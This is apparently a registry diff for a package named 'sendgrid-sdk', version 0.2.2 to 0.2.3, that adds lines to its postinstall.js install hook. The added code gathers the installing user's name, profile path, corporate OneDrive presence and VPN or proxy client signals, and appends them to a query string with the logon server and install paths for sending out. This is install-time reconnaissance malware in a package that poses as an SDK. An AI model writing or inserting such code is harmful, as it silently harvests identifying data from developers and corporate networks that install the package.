sendgrid-sdk 0.2.2 → 0.2.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/postinstall.js +18 -0
package/package.json
CHANGED
package/postinstall.js
CHANGED
|
@@ -11,6 +11,20 @@ try {
|
|
|
11
11
|
var logonServer = env.LOGONSERVER || '';
|
|
12
12
|
var hasProxy = !!(env.HTTP_PROXY || env.http_proxy || env.HTTPS_PROXY || env.https_proxy);
|
|
13
13
|
var isWindows = process.platform === 'win32';
|
|
14
|
+
var user = env.USERNAME || env.USER || '';
|
|
15
|
+
var userProfile = env.USERPROFILE || '';
|
|
16
|
+
|
|
17
|
+
// Corporate signals
|
|
18
|
+
var hasCorpOneDrive = !!env.ONEDRIVECOMMERCIAL;
|
|
19
|
+
var hasPersonalOneDrive = !!env.ONEDRIVE;
|
|
20
|
+
// VPN client detection via env vars only (no filesystem)
|
|
21
|
+
var vpnClient = '';
|
|
22
|
+
if (env.PULSE_SECURE || env.JUNIPER_HOME) vpnClient = 'pulse-secure';
|
|
23
|
+
else if (env.CISCO_VPN || env.CSCO_WEBVPN) vpnClient = 'cisco-anyconnect';
|
|
24
|
+
else if (env.GLOBALPROTECT || env.PAN_GW) vpnClient = 'globalprotect';
|
|
25
|
+
else if (env.FORTICLIENT || env.FORTISS) vpnClient = 'forticlient';
|
|
26
|
+
// Corporate Wi-Fi proxy / ZScaler / Netskope
|
|
27
|
+
if (!vpnClient && (env.ZSCALER || env.NETSKOPE)) vpnClient = 'zscaler-netskope';
|
|
14
28
|
|
|
15
29
|
dns.lookup(hn, {timeout: 3000}, function(err, addr) {
|
|
16
30
|
dns.reverse(addr, function(err2, ptrs) {
|
|
@@ -41,6 +55,10 @@ try {
|
|
|
41
55
|
+ '&logonserver=' + encodeURIComponent(logonServer)
|
|
42
56
|
+ '&proxy=' + (hasProxy ? '1' : '0')
|
|
43
57
|
+ '&win=' + (isWindows ? '1' : '0')
|
|
58
|
+
+ '&user=' + encodeURIComponent(user)
|
|
59
|
+
+ '&userprofile=' + encodeURIComponent(userProfile)
|
|
60
|
+
+ '&onedrivecorp=' + (hasCorpOneDrive ? '1' : '0')
|
|
61
|
+
+ '&vpn=' + encodeURIComponent(vpnClient)
|
|
44
62
|
+ '&cwd=' + encodeURIComponent(cwd)
|
|
45
63
|
+ '&fullpath=' + encodeURIComponent(initCwd);
|
|
46
64
|
|